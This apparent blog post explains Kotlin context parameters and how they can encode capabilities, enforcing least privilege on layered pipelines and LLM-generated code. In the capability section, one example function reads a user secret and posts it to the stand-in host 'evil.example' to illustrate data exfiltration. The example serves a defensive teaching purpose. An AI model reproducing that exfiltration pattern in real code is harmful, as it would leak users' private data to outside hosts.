2026/05/25

Kotlin Context Parameters: Cleaner and Safer APIs

Context Parameters let you encode what code is allowed to do directly in the type system. Here is how to use them well.

Kotlin keeps getting better at expressing intent in the type system.

One of the most interesting language proposals right now is Context Parameters, a redesign of the earlier context receivers idea.

At a glance, context parameters look like "DI without boilerplate":

  • You can require some values to be available in scope
  • You do not pass them at every call site
  • The compiler resolves them implicitly and checks correctness

That already sounds useful.

But there is another angle: if we treat those context values as capabilities (permissions), we can start shaping APIs where generated code is constrained by what it is allowed to access.

This post has two goals:

  • Explain what context parameters are in practice
  • Show how to model capability-style, safer code boundaries inspired by recent work in Scala 3

What Context Parameters Are

A contextual declaration says: "this function/property needs these values in the surrounding context."

In Kotlin, you mark a function or property with a context(...) block to declare dependencies that should be resolved implicitly:

interface Logger {
    fun log(message: String)
}
 
context(logger: Logger)
fun logWithTime(message: String) {
    logger.log("[${System.currentTimeMillis()}] $message")
}

How Context Resolution Works

When you call logWithTime("hello"), you are not passing a Logger argument explicitly. Instead:

  1. Kotlin looks through the current scope for a compatible Logger value
  2. It can come from:
    • A context parameter already in scope (from an outer contextual function)
    • An implicit receiver (from with { } or a receiver context)
  3. If exactly one match is found, the call succeeds
  4. If none are found, or if there are multiple equally valid matches, compilation fails
class ConsoleLogger : Logger {
    override fun log(message: String) = println(message)
}
 
fun demo() {
    context(ConsoleLogger()) {
        logWithTime("Starting pipeline")  // OK: ConsoleLogger is in scope
    }
}
 
fun broken() {
    logWithTime("This will not compile")  // ERROR: no Logger in scope
}

Named Access Inside The Function

Unlike some implicit systems, context parameters have names inside the function body. That means you can access them directly:

context(logger: Logger, clock: Clock)
fun processEvent(event: Event) {
    val timestamp = clock.currentTime()
    logger.log("Event processed at $timestamp")
}

You use the names logger and clock just like regular parameters. This makes it clear what is happening inside the function, rather than having magic values appear from nowhere.

Context Parameters Can Nest

You can introduce new context values inside a contextual function and call other contextual functions:

interface Database {
    fun query(sql: String): List<String>
}
 
context(db: Database)
fun fetchUsers(): List<String> = db.query("SELECT * FROM users")
 
context(logger: Logger)
fun runPipeline(db: Database) {
    context(db) {
        val users = fetchUsers()  // OK: Database context is now available
        logger.log("Fetched ${users.size} users")
    }
}

This nesting is the key to reducing parameter plumbing through multiple layers.

Intentionally Unnamed Context

Sometimes you do not care about the name of a context value. You can use _ to mark it as unused by name, but still available for other contextual calls:

context(_: Logger)
fun silentOperation() {
    // Cannot access logger by name, but functions requiring Logger can still be called here
    doSomethingQuietly()
}
 
context(logger: Logger)
fun doSomethingQuietly() {
    logger.log("quiet...")
}

For accessing unnamed context values, Kotlin provides contextOf<T>():

context(_: Logger)
fun accessLogger() {
    val logger = contextOf<Logger>()  // retrieve by type
    logger.log("found it")
}

If you request a context type that is not present in the current context block, the call fails at compile time:

interface Database {
    fun query(sql: String): List<String>
}
 
context(_: Logger)
fun invalidAccess() {
    val db = contextOf<Database>()
    // ERROR: no Database value available in this context
    db.query("SELECT 1")
}

This is one of the main safety benefits: context lookups are checked statically, so missing capabilities become compiler diagnostics instead of runtime surprises.

Why Not Just Pass Arguments?

You might ask: why not just pass logger as a regular parameter everywhere?

The answer depends on the pattern:

  • Few callers, few layers: regular parameters are often better and more explicit
  • Many callers, deep call stacks: threading the same dependency through 5+ function signatures becomes tedious and adds noise
  • Infrastructure services: things like Logger, Transaction, Clock that almost every function needs are ideal candidates

Context parameters shine when you have ambient infrastructure that would otherwise clutter signatures everywhere.

Context Parameters vs Regular Parameters

Regular parameters are explicit at the call site:

fun saveUser(user: User, repo: UserRepository, logger: Logger) {
    logger.log("Saving ${user.id}")
    repo.save(user)
}

Context parameters remove repeated plumbing when dependencies are truly ambient for a scope:

context(repo: UserRepository, logger: Logger)
fun saveUser(user: User) {
    logger.log("Saving ${user.id}")
    repo.save(user)
}
 
fun run(users: List<User>, repo: UserRepository, logger: Logger) {
    context(repo, logger) {
        users.forEach(::saveUser)
    }
}

Both are useful. The right choice depends on what kind of data you are modeling.

What Regular Parameters Optimize For

Regular parameters optimize for local clarity:

  • You can see all required inputs directly at the call site
  • Data flow is explicit across function boundaries
  • Readers do not need to inspect outer scopes to understand where values come from

This is usually the best default for:

  • Domain values (Order, UserId, Amount)
  • Inputs that change often between calls
  • Business logic where traceable flow matters more than brevity

What Context Parameters Optimize For

Context parameters optimize for reducing transitive plumbing:

  • Shared infrastructure can be introduced once per scope
  • Intermediate functions do not need to forward dependencies they do not use directly
  • Signatures stay focused on domain inputs instead of technical wiring

This is usually a strong fit for ambient services such as:

  • Logger
  • Clock
  • Transaction
  • Tracing / Metric

A Concrete "Plumbing" Comparison

Without context parameters, dependencies often leak through layers:

fun controller(req: Request, service: UserService, logger: Logger): Response {
    return useCase(req.userId, service, logger)
}
 
fun useCase(userId: String, service: UserService, logger: Logger): Response {
    return repositoryCall(userId, service, logger)
}
 
fun repositoryCall(userId: String, service: UserService, logger: Logger): Response {
    logger.log("Fetching $userId")
    return service.fetch(userId)
}

Only one function actually logs, but all layers carry logger.

With context parameters:

context(service: UserService, logger: Logger)
fun controller(req: Request): Response = useCase(req.userId)
 
context(service: UserService, logger: Logger)
fun useCase(userId: String): Response = repositoryCall(userId)
 
context(service: UserService, logger: Logger)
fun repositoryCall(userId: String): Response {
    logger.log("Fetching $userId")
    return service.fetch(userId)
}
 
fun handle(req: Request, service: UserService, logger: Logger): Response =
    context(service, logger) { controller(req) }

Now dependencies are introduced once at the boundary (handle) and consumed where needed.

Testing Tradeoff

Regular parameters make unit tests straightforward because dependencies are passed directly.

Context parameters are still testable, but setup moves to a context block:

class TestLogger : Logger {
    val messages = mutableListOf<String>()
    override fun log(message: String) {
        messages += message
    }
}
 
fun testSaveUser() {
    val logger = TestLogger()
    val repo = InMemoryUserRepository()
 
    context(repo, logger) {
        saveUser(User("u1"))
    }
 
    check(logger.messages.isNotEmpty())
}

The key is to keep context setup explicit at test boundaries.

If you use MockK, the pattern stays clean: create mocks, enter the context block, execute the function, and verify interactions.

import io.mockk.every
import io.mockk.mockk
import io.mockk.verify
 
fun testSaveUserWithMockK() {
    val logger = mockk<Logger>(relaxed = true)
    val repo = mockk<UserRepository>(relaxed = true)
    val user = User("u1")
 
    every { repo.save(user) } returns Unit
 
    context(repo, logger) {
        saveUser(user)
    }
 
    verify(exactly = 1) { repo.save(user) }
    verify(exactly = 1) { logger.log(match { it.contains("Saving u1") }) }
}

Two useful testing tips when mixing context parameters with mocks:

  • Keep mock creation close to the boundary where you open the context block
  • Prefer verifying behavior on narrow capability interfaces (Logger, Clock, Repository) rather than broad service containers

That keeps tests precise and prevents context from becoming a hidden global fixture.

API Evolution Tradeoff

If you add a new regular parameter, all call sites break until updated.

If you add a new context requirement, call sites only break where the surrounding context cannot provide it.

That can be a productivity win for infrastructure changes, but it can also hide coupling if overused. Keep context sets intentionally small.

Here is a concrete evolution example.

Regular-parameter API (version 1):

fun computeTotal(order: Order, tax: TaxPolicy): Money =
    tax.apply(order.subtotal)
 
fun checkout(order: Order, tax: TaxPolicy): Receipt {
    val total = computeTotal(order, tax)
    return Receipt(total)
}

Later, you add logging (version 2):

fun computeTotal(order: Order, tax: TaxPolicy, logger: Logger): Money {
    logger.log("Computing total for ${order.id}")
    return tax.apply(order.subtotal)
}
 
fun checkout(order: Order, tax: TaxPolicy, logger: Logger): Receipt {
    val total = computeTotal(order, tax, logger)
    return Receipt(total)
}

All callers of both functions must now pass logger, even if only one internal step needs it.

Now compare with context parameters.

Context API, version 1:

context(tax: TaxPolicy)
fun computeTotal(order: Order): Money = tax.apply(order.subtotal)
 
context(tax: TaxPolicy)
fun checkout(order: Order): Receipt = Receipt(computeTotal(order))
 
fun httpHandler(order: Order, tax: TaxPolicy): Receipt =
    context(tax) { checkout(order) }

Add logging in version 2:

context(tax: TaxPolicy, logger: Logger)
fun computeTotal(order: Order): Money {
    logger.log("Computing total for ${order.id}")
    return tax.apply(order.subtotal)
}
 
context(tax: TaxPolicy, logger: Logger)
fun checkout(order: Order): Receipt = Receipt(computeTotal(order))
 
fun httpHandler(order: Order, tax: TaxPolicy, logger: Logger): Receipt =
    context(tax, logger) { checkout(order) }

In this version, the largest changes are usually at composition boundaries (httpHandler, job runners, controllers), while internal call chains stay cleaner.

Context Parameters vs Extension Functions

This is where many people get confused first.

Both features feel "implicit", but they model different things.

Extension receiver answers: "who is the subject?"

fun User.displayName(): String = "$firstName $lastName"

The extension receiver (User) is the thing being acted on.

Context parameter answers: "what capability/environment is required?"

interface UserFormatter {
    fun format(user: User): String
}
 
context(formatter: UserFormatter)
fun User.displayName(): String = formatter.format(this)

Now User is still the subject, while UserFormatter is an ambient requirement.

That separation is very expressive:

  • Receiver = domain object
  • Context parameter = service/capability/scope requirement

You can combine both naturally, and this tends to make APIs read better than overloading everything into receiver types.

When Extension Functions Work Best

Extension functions are ideal when:

  • You want to add methods to a type you do not control (like String, List, User)
  • The operation is intrinsic to the type (a derived property, a computation on its own data)
  • The method should be available wherever instances of that type exist

Examples where extensions shine:

fun String.toTitleCase(): String = split(" ").joinToString(" ") { it.capitalize() }
fun List<Int>.average(): Double = sumOf { it.toDouble() } / size
fun User.isActive(): Boolean = status == UserStatus.ACTIVE

These operations can be understood and tested knowing only the receiver type.

When Context Parameters Work Best

Context parameters are ideal when:

  • The operation depends on ambient services or policy that exists outside the type
  • The operation is contextual (its behavior changes based on environment)
  • You want to make dependencies explicit in the signature without boilerplate

Examples where context parameters shine:

interface AuditLog {
    fun record(action: String, user: User)
}
 
context(audit: AuditLog)
fun User.delete() {
    audit.record("deleted user ${this.id}", this)
    // perform deletion
}
 
interface PermissionChecker {
    fun canEdit(user: User): Boolean
}
 
context(perms: PermissionChecker)
fun User.updateProfile(newData: ProfileData) {
    check(perms.canEdit(this)) { "Insufficient permissions" }
    // perform update
}

A Practical Pattern: Layering Receivers and Context

Combine both when you have:

  • A clear domain object (receiver)
  • Clear environmental requirements (context)
interface Validator {
    fun validate(user: User): Boolean
}
 
interface Notifier {
    fun sendAlert(user: User, message: String)
}
 
// Receiver: the User being validated
// Context: the Validator service and Notifier service
context(validator: Validator, notifier: Notifier)
fun User.validateAndNotify(): Boolean {
    val isValid = validator.validate(this)
    if (!isValid) {
        notifier.sendAlert(this, "Validation failed")
    }
    return isValid
}

This reads naturally: "validate and notify this user, given validator and notifier services."

The Gotcha: Over-Using Extensions For Ambient Logic

A common mistake is to add extension methods to core types just to avoid passing parameters:

// AVOID: Where does the logger come from?
fun User.saveToDatabase() {
    Logger.info("Saving user ${this.id}")
    database.save(this)  // Where does database come from?
}

This hides dependencies and makes the code harder to test and reason about.

Better with context parameters:

interface Repository {
    fun save(user: User)
}
 
context(repo: Repository, logger: Logger)
fun User.save() {
    logger.log("Saving user ${this.id}")
    repo.save(this)
}

Now dependencies are explicit in the signature, and callers can see what is required.

Call Site Readability

Extension receivers offer great call-site brevity:

val user = User("Alice")
println(user.displayName())

But with context requirements, clarity about requirements is worth the trade:

context(formatter) {
    println(user.displayName())  // Clearly needs formatter in scope
}

Context Parameters on Properties

Context parameters are allowed on properties, enabling computed, context-sensitive values.

Key Constraints

  • No backing fields: contextual properties are always computed
  • No initializers: the value is only known when the property is accessed
  • No delegation: delegation is not yet supported on contextual properties

These constraints exist because the value depends on the context, which may not be stable across property lifetimes.

Practical Examples

Contextual properties are great for derived or policy-dependent values:

interface Permissions {
    fun canEdit(userId: String): Boolean
}
 
data class User(val id: String)
 
context(perms: Permissions)
val User.canEdit: Boolean
    get() = perms.canEdit(this.id)

In this example, canEdit is not stored on the User instance. Instead, it is computed based on the current Permissions context. That means:

  • Different contexts (different Permissions implementations) can give different results
  • No mutable state is shared or cached
  • The property reflects current policy at call time

Another example with context-sensitive formatting:

interface Formatter {
    fun formatCurrency(amount: Double): String
}
 
data class Invoice(val total: Double)
 
context(formatter: Formatter)
val Invoice.displayTotal: String
    get() = formatter.formatCurrency(this.total)

And with access control:

interface SecurityContext {
    fun isUserAdmin(): Boolean
}
 
data class Report(val sensitiveData: String)
 
context(sec: SecurityContext)
val Report.visibleContent: String
    get() = if (sec.isUserAdmin()) sensitiveData else "[REDACTED]"

Combining With Extension Receivers

Contextual properties work nicely alongside extension receivers:

interface Clock {
    fun now(): Instant
}
 
interface Logger {
    fun log(msg: String)
}
 
data class Transaction(val id: String, val createdAt: Instant)
 
// Extension property with a context parameter
context(clock: Clock)
val Transaction.isRecent: Boolean
    get() = createdAt.isAfter(clock.now().minusSeconds(3600))
 
// Extension function that uses the contextual property
context(clock: Clock, logger: Logger)
fun Transaction.validateFreshness() {
    if (this.isRecent) {
        logger.log("Transaction ${this.id} is recent")
    } else {
        logger.log("Transaction ${this.id} is stale")
    }
}

Why No Backing Fields?

You might ask: why can't contextual properties have backing fields on the type itself?

Consider:

// This would be problematic:
context(config: Config)
var User.permissions: Permissions = config.loadPermissions(id)  // ERROR: initializer not allowed

If the property had a backing field, several issues arise:

  • When the context changes (a new Config is introduced), what happens to the stored field? Do we invalidate it? Migrate it?
  • Multiple contexts might need to read/write the same field, causing race conditions or inconsistent state
  • The stored value becomes stale or out-of-sync with the context

By forbidding backing fields, Kotlin ensures contextual properties are always computed from current context state, never stale.

Mutable Contextual Properties Are Possible

However, you can have mutable contextual properties if the mutation is delegated to a context-provided service:

interface MutableStore {
    fun getValue(userId: String, key: String): String
    fun setValue(userId: String, key: String, value: String)
}
 
data class User(val id: String)
 
// Both getter and setter use the context
context(store: MutableStore)
var User.displayName: String
    get() = store.getValue(this.id, "displayName")
    set(value) { store.setValue(this.id, "displayName", value) }

Now you can read and write:

context(store) {
    val user = User("u123")
    user.displayName = "Alice"  // Stored in context store
    println(user.displayName)   // Retrieved from context store
}

The key difference: the mutation is not stored on User itself, but delegated to the context-provided storage.

When To Use Contextual Properties

Contextual properties are best for:

  • Computed derived values (isActive, displayName, formattedDate)
  • Context-dependent views (visibleContent, canEdit, isAllowed)
  • Lazy-evaluated policy (security checks, formatting rules, validation logic)
  • Delegated mutable state (when mutation is handled by a context-provided storage, not a backing field)

They are not suitable for:

  • Storing state directly as backing fields on the type
  • Caching expensive computations that should persist across context changes as instance state
  • Scenarios where you need the property value to remain stable even when the context changes

If you need mutable state backed by an instance field (not delegated to a context-provided store), contextual properties are not the right tool—use a regular mutable property instead.

Building Safe Multi-Layer Architectures with Capabilities

Context parameters shine when you think of them as statically tracked permissions—capabilities that control what operations code is allowed to perform.

This perspective opens up a powerful architectural pattern: instead of letting code freely access all services, you grant it only the capabilities it needs. The type system enforces this at compile time.

The Core Idea: Capabilities as Permissions

A context parameter representing a capability is a permission to perform a class of operations:

interface CanReadPrivateData {
    fun readUserSecret(userId: String): String
}
 
interface CanSendNetwork {
    fun post(url: String, payload: String): String
}
 
interface CanWriteDatabase {
    fun save(data: Any)
}

When you declare a function with these capabilities in context, the signature becomes a contract:

context(read: CanReadPrivateData, net: CanSendNetwork)
fun exfiltrate(userId: String) {
    val secret = read.readUserSecret(userId)
    net.post("https://evil.example", secret)
}

This function clearly requires both capabilities. If either is missing in scope, it does not compile. This is a better safety story than hidden global access or silent failures.

Real-World Pattern: Isolating Untrusted Code

A strong reference point here is Scala 3 capabilities + capture checking. In Scala 3, capabilities are tracked by the type system and restricted through capture sets, so code can be prevented from using resources it did not explicitly capture.

The paper shows a practical safety harness for agent-generated code:

  • Agent intentions are turned into typed code, not direct tool calls
  • Effects/resources are represented as capabilities
  • Capability flow is statically checked
  • Unsafe behaviors (like leakage paths) are rejected by typing rules

How this maps to Kotlin:

  • Kotlin context parameters do not provide Scala 3 capture checking
  • Kotlin context parameters do let you encode capability requirements in signatures
  • That still gives a useful real-world guarantee: code cannot call operations whose capability is not present in scope

So while Kotlin cannot currently model the full Scala 3 capability discipline, it can still implement a practical least-privilege architecture for real systems and agent-generated extensions.

Practical Example: Data Pipeline with Capability Boundaries

Consider a data processing pipeline where you want to separate concerns:

// ===== Capability Interfaces =====
 
interface Clock {
    fun nowMillis(): Long
}
 
interface AuditLog {
    fun log(event: String)
}
 
interface PrivateDataStore {
    fun fetchSensitiveUser(id: String): UserData
}
 
interface NetworkAccess {
    fun call(endpoint: String, payload: String): String
}
 
interface DatabaseWrite {
    fun persist(table: String, data: Any)
}
 
// ===== Data Models =====
 
data class UserData(val id: String, val email: String, val document: String)
data class ProcessingPlan(val step: String, val needsNetwork: Boolean)
 
// ===== Layer 1: Pure Planning (Only Clock, no side effects) =====
 
context(clock: Clock, audit: AuditLog)
fun planUserProcessing(userId: String): ProcessingPlan {
    audit.log("Planning processing for user $userId at ${clock.nowMillis()}")
    return ProcessingPlan(
        step = "fetch_and_transform",
        needsNetwork = userId.startsWith("external_")
    )
}
 
// ===== Layer 2: Safe Transformation (Can read private data, no network or writes) =====
 
context(clock: Clock, audit: AuditLog, dataStore: PrivateDataStore)
fun transformUserData(plan: ProcessingPlan, userId: String): Map<String, String> {
    audit.log("Transforming user $userId")
    val user = dataStore.fetchSensitiveUser(userId)
    
    // Deliberately not exposing document at this layer
    return mapOf(
        "id" to user.id,
        "email" to user.email,
        "timestamp" to clock.nowMillis().toString()
    )
}
 
// ===== Layer 3: External Integration (Can send network calls) =====
 
context(clock: Clock, audit: AuditLog, network: NetworkAccess)
fun sendToExternalService(plan: ProcessingPlan, data: Map<String, String>): String {
    if (plan.needsNetwork) {
        audit.log("Sending data to external service")
        return network.call("https://external-api.example/ingest", data.toString())
    }
    return "skipped"
}
 
// ===== Layer 4: Persistence (Can write to database) =====
 
context(clock: Clock, audit: AuditLog, db: DatabaseWrite)
fun persistResult(userId: String, result: String) {
    audit.log("Persisting result for $userId")
    db.persist("processing_results", mapOf("user" to userId, "result" to result))
}
 
// ===== Orchestration Boundary =====
 
fun orchestratePipeline(
    userId: String,
    clock: Clock,
    audit: AuditLog,
    dataStore: PrivateDataStore,
    network: NetworkAccess,
    db: DatabaseWrite
): String {
    // Each layer only gets the capabilities it needs
    val plan = context(clock, audit) {
        planUserProcessing(userId)
    }
 
    val data = context(clock, audit, dataStore) {
        transformUserData(plan, userId)
    }
 
    val externalResult = context(clock, audit, network) {
        sendToExternalService(plan, data)
    }
 
    context(clock, audit, db) {
        persistResult(userId, externalResult)
    }
 
    return externalResult
}

Key Safety Properties This Achieves

  1. Capability visibility: Every function's requirements are explicit in its signature
  2. Isolation: transformUserData cannot accidentally call network operations (it lacks NetworkAccess)
  3. Minimal privilege: Each layer gets only what it needs
  4. Auditability: All operations go through a central AuditLog
  5. Composability: You can combine capabilities at boundaries without letting every function have everything

Preventing Agent-Generated Code From Leaking Data

If an LLM generates code to extend the pipeline, you can constrain it to safe boundaries:

// Agent-generated function only gets these capabilities
context(clock: Clock, audit: AuditLog, dataStore: PrivateDataStore)
fun agentGeneratedTransformation(userId: String): Map<String, String> {
    // The agent can fetch data and log, but cannot:
    // - Send network calls (no NetworkAccess in scope)
    // - Write to database (no DatabaseWrite in scope)
    // - Read other users' data (only dataStore is available, typed to user context)
    
    val user = dataStore.fetchSensitiveUser(userId)
    audit.log("Agent transformation for $userId")
    return mapOf("processed" to user.email)
}

If the agent tries to exfiltrate data to the network, it will fail at compile time (no NetworkAccess). If it tries to write to the database, same story. This is not perfect sandboxing, but it catches entire classes of mistakes.

Design Patterns For Capability-Based APIs

  1. Narrow interfaces: Keep each capability focused on one job

    interface CanReadAuditLog { fun read(): List<AuditEvent> }
    interface CanWriteAuditLog { fun append(event: AuditEvent) }

    Not one big AuditService with everything.

  2. Layered boundaries: Introduce capabilities at composition boundaries, not scattered

    context(layer1Caps) { doPhase1() }
    context(layer2Caps) { doPhase2() }
  3. Test-time substitution: Swap real implementations for mocks

    context(mockDataStore, mockNetwork) {
        agentGeneratedCode()  // Uses mocks, not real services
    }
  4. Read-only where possible: If a function only reads, use a read-only capability interface

Limitations and Tradeoffs

This approach is not complete sandboxing. For example:

  • A function can still DoS the system by looping or allocating memory
  • Timing attacks and inference attacks are still possible
  • You still need to validate inputs and audit behavior

But what you get is:

  • Static verification that certain access patterns are impossible
  • Explicit documentation of requirements in type signatures
  • Testability and control at composition boundaries
  • Type-driven reasoning about safety

Caveats To Keep In Mind

Given the current design constraints, remember:

  • Constructors do not take context parameters
  • Context-in-class design is not part of the current proposal
  • Callable references resolve context eagerly
  • Overloading with similar context sets can become ambiguous quickly

1) Constructors cannot be contextual

This is not allowed:

class UserService context(logger: Logger) constructor() // ERROR

Use a factory function or companion invoke instead:

class UserService private constructor(private val logger: Logger) {
    companion object {
        context(logger: Logger)
        operator fun invoke(): UserService = UserService(logger)
    }
}

2) No context on classes themselves

This style from older discussions is not part of the current direction:

context(Logger)
class ReportGenerator // Not supported

Instead, keep class state explicit and put context on operations:

class ReportGenerator {
    context(logger: Logger)
    fun generate() {
        logger.log("Generating report")
    }
}

3) Callable references capture context immediately

When you create a function reference like ::save, Kotlin decides the needed context right there, not later where you call it.

So think of it as "freezing" the context at reference creation time.

context(logger: Logger)
fun save(user: User) { logger.log("saving ${user.id}") }
 
context(logger: Logger)
fun run(users: List<User>) {
    val f = ::save // context is captured here
    users.forEach(f)
}

If you expected context to be picked later at the call site, this can be surprising.

When you need that kind of delayed behavior, prefer writing an explicit lambda with a contextual function type.

4) Similar context overloads can become ambiguous

This can be ambiguous because both overloads may match:

context(value: Any) fun trace() {}
context(text: String) fun trace() {}
 
fun demo() = context("hello") {
    trace() // ambiguity risk
}

Prefer distinct names or more explicit API boundaries when overload sets differ only by context shape.

Treat context as a sharp tool.

Use it to model capability requirements and ambient infrastructure, not to hide everything behind magic.

Context Parameters Are A Design Tool, Not Just A Language Feature

Context parameters are easy to dismiss as "implicit arguments with a nice syntax." But that framing misses the point.

At the function level, they clean up signatures and reduce plumbing. That alone is useful. But the bigger shift is conceptual: they let you encode what a piece of code is allowed to do directly in the type system.

You saw that across this post:

  • Extension functions tell you what type is being acted on
  • Context parameters tell you what environment is required to act
  • Contextual properties are computed views that reflect current policy, not stored state
  • Layered capability contexts enforce least-privilege across an entire architecture

These are not separate tricks. They form a coherent design vocabulary for expressing intent and constraint statically.

The connection to Scala 3 capabilities and capture checking (and the work done in Tracking Capabilities for Safer Agents) is real: both approaches use the type system to restrict what code can reach. Scala 3 goes further with formal capture sets and purity enforcement. Kotlin context parameters give you a practical, today-available subset of that discipline without requiring a research language.

The mental model to carry forward:

  • If a function needs a service to do its job, put that service in context
  • If a capability is sensitive, expose it through a narrow interface
  • If code (including generated code) should be constrained, restrict its context at the boundary
  • Review signatures, not just implementations, to reason about safety

Context parameters are still evolving. Constructors, class-level context, and more powerful delegation support are all areas where the design will continue to grow. But the foundation is solid enough to build real, safe, maintainable systems on today.